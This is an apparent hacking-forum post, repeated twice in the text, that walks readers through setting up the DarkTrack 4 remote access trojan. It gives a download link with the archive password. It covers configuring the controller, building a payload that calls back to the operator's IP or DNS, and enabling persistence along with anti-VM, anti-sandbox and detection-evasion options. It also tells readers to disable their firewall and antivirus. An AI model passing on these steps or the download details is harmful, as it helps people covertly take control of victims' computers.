Jun 30, 2016 05:36 AM
(This post was last modified: Jan 24, 2017 12:56 PM by bzrΚ.)
Small Update
Although the Coder luckyduck hasn't been seen here for a while, it seems he's been hard at work coding the next version of DarkTrack (5).
Check it out here: http://darktrack.net
Given the timely release of DarkTrack 4 and in an effort to inform our community this guide is created in hopes of educating users on how to setup DarkTrack Alien
If you haven't yet checked it out, you can view the thread here, or check out the website here.
This guide will not go into details about the features or use of DarkTrack, but getting people up to speed on how to set it up.
![[Image: 8U9I0ah.png]](https://i.imgur.com/8U9I0ah.png)
DarkTrack 4.0 original download
Since the site is down and 4.0 is still a very usable RAT, here's the download (RAR password is 'dt94')
MD5 Checksum: 7afc28b47371fa3488352cd8c3ea818f
VirusTotal of exe: https://www.virustotal.com/en/file/51c0b...474809374/
Download: http://www107.zippyshare.com/v/fbhwMApY/file.html
Setup checklist:
Stage 1: Settings
Assuming you have downloaded and extracted DarkTrack from the official website, open it up and you will be greeted with this landing screen
Spoiler (Click to View)
Take note of it's contents and move on over to the Client Settings tab
Spoiler (Click to View)
Here we input our port and password for the controller.
Do so as follows - enter your port (in my case 4445. I will not be covering port forwarding here but you can test it here.) and a password 'test' or another phrase of your choosing. Now press the little '+' circle after the port textbox and it should add the port you choose which can be seen above. It should now look something like this:
Spoiler (Click to View)
For safe guarding purposes make sure that your Firewall and Anti - virus software are disabled as they will interfere with this programs operation!
Spoiler (Click to View)
Stage 2: Building the server
Now our controller is setup we can create a server. Move over to the 'create server' tab and under profiles click 'Add profile'. Name your profile and you will see this screen:
Spoiler (Click to View)
At the top, press 'Add IP address' and enter your IP and click OK. Please note that if you will be using this when connected to a VPN, enter your VPN IP instead. Alternatively if you're using a DNS this is the place to enter it. Otherwise carry on as normal. You can check your IP here.
Spoiler (Click to View)
Nice try - that isn't my IP.
The three boxes on the right signify from top to bottom: port number, password and client ID. (For future reference @LuckyDuck it might be worth labelling these so they are easier to recognise.)
So enter your port (4445) in the first, then the same password you used back in the Client Settings (test) and whatever you want your Client ID to be (Home).
That is connection settings complete. Below profiles you see another box containing the various stages that building the server involves, having just completed Connection Settings, move onto Installation. Note that all of these are optional and will probably affect the detection rate. If you do want installation and startup, fill out the relevant boxes like so:
Spoiler (Click to View)
If not, you can move on. The next two screens; Additional and Security contain the persistence features of the server and Security contains anti features like Virtual machines, sniffers, sandboxie etc. Tick those if you would like any. Once you are done, move over to build and click Build server. The tick box about compressing with UPX will reduce the server's output size - tick this if you want. Once your server has been built succesfully you should see it in the DarkTrack directory folder like so:
Spoiler (Click to View)
Stage 3: Testing
Now to make sure that everything is working we should test our file to make sure it works correctly
If you are fortunate enough to have a test environment such as VMWare Workstation, VirtualBox etc drag your executable we just created into there and run it. Assuming all goes well it should appear in your client list like this:
Spoiler (Click to View)
If you do not have a virtual machine Sandboxie should work just fine - just make sure you don't have anti-sandboxie enabled in the settings! I also believe members such as Kenjii and Purple Kief have testing services should you want to take advantage of those, too.
Known bugs and relevant information:
If you encounter any other bugs please inform me and I will update this thread.
I believe that is this tutorial finished. Again, massive thanks to LuckyDuck for coding this and UKNinja for bringing it to HackForums. Hope this helped.
Reserved for future content.
Although the Coder luckyduck hasn't been seen here for a while, it seems he's been hard at work coding the next version of DarkTrack (5).
Check it out here: http://darktrack.net
Given the timely release of DarkTrack 4 and in an effort to inform our community this guide is created in hopes of educating users on how to setup DarkTrack Alien
If you haven't yet checked it out, you can view the thread here, or check out the website here.
This guide will not go into details about the features or use of DarkTrack, but getting people up to speed on how to set it up.
DarkTrack 4.0 original download
Since the site is down and 4.0 is still a very usable RAT, here's the download (RAR password is 'dt94')
MD5 Checksum: 7afc28b47371fa3488352cd8c3ea818f
VirusTotal of exe: https://www.virustotal.com/en/file/51c0b...474809374/
Download: http://www107.zippyshare.com/v/fbhwMApY/file.html
Setup checklist:
- DarkTrack 4 ✔
- Open ports ✔
- Virtual Machine (optional) ✔
- A VPN (optional) ✔
Stage 1: Settings
Assuming you have downloaded and extracted DarkTrack from the official website, open it up and you will be greeted with this landing screen
Spoiler (Click to View)
![[Image: WecsS5r.png]](https://i.imgur.com/WecsS5r.png)
Take note of it's contents and move on over to the Client Settings tab
Spoiler (Click to View)
![[Image: zYL3YHB.png]](https://i.imgur.com/zYL3YHB.png)
Here we input our port and password for the controller.
Do so as follows - enter your port (in my case 4445. I will not be covering port forwarding here but you can test it here.) and a password 'test' or another phrase of your choosing. Now press the little '+' circle after the port textbox and it should add the port you choose which can be seen above. It should now look something like this:
Spoiler (Click to View)
![[Image: KSsXqwK.png]](https://i.imgur.com/KSsXqwK.png)
For safe guarding purposes make sure that your Firewall and Anti - virus software are disabled as they will interfere with this programs operation!
Spoiler (Click to View)
![[Image: isrh2OD.png]](https://i.imgur.com/isrh2OD.png)
Stage 2: Building the server
Now our controller is setup we can create a server. Move over to the 'create server' tab and under profiles click 'Add profile'. Name your profile and you will see this screen:
Spoiler (Click to View)
![[Image: 4IGsuDL.png]](https://i.imgur.com/4IGsuDL.png)
At the top, press 'Add IP address' and enter your IP and click OK. Please note that if you will be using this when connected to a VPN, enter your VPN IP instead. Alternatively if you're using a DNS this is the place to enter it. Otherwise carry on as normal. You can check your IP here.
Spoiler (Click to View)
![[Image: o5LDhib.png]](https://i.imgur.com/o5LDhib.png)
Nice try - that isn't my IP.
The three boxes on the right signify from top to bottom: port number, password and client ID. (For future reference @LuckyDuck it might be worth labelling these so they are easier to recognise.)
So enter your port (4445) in the first, then the same password you used back in the Client Settings (test) and whatever you want your Client ID to be (Home).
That is connection settings complete. Below profiles you see another box containing the various stages that building the server involves, having just completed Connection Settings, move onto Installation. Note that all of these are optional and will probably affect the detection rate. If you do want installation and startup, fill out the relevant boxes like so:
Spoiler (Click to View)
![[Image: RAdIw8W.png]](https://i.imgur.com/RAdIw8W.png)
If not, you can move on. The next two screens; Additional and Security contain the persistence features of the server and Security contains anti features like Virtual machines, sniffers, sandboxie etc. Tick those if you would like any. Once you are done, move over to build and click Build server. The tick box about compressing with UPX will reduce the server's output size - tick this if you want. Once your server has been built succesfully you should see it in the DarkTrack directory folder like so:
Spoiler (Click to View)
![[Image: zZh0H42.png]](https://i.imgur.com/zZh0H42.png)
Stage 3: Testing
Now to make sure that everything is working we should test our file to make sure it works correctly
If you are fortunate enough to have a test environment such as VMWare Workstation, VirtualBox etc drag your executable we just created into there and run it. Assuming all goes well it should appear in your client list like this:
Spoiler (Click to View)
![[Image: vZLnwyU.jpg]](https://i.imgur.com/vZLnwyU.jpg)
If you do not have a virtual machine Sandboxie should work just fine - just make sure you don't have anti-sandboxie enabled in the settings! I also believe members such as Kenjii and Purple Kief have testing services should you want to take advantage of those, too.
Known bugs and relevant information:
If you encounter any other bugs please inform me and I will update this thread.
I believe that is this tutorial finished. Again, massive thanks to LuckyDuck for coding this and UKNinja for bringing it to HackForums. Hope this helped.
Reserved for future content.
![[Image: signature.png]](https://altpocket.io/altpocket/signature.png)
![[Image: mDF7ZCO.png]](https://i.imgur.com/mDF7ZCO.png)
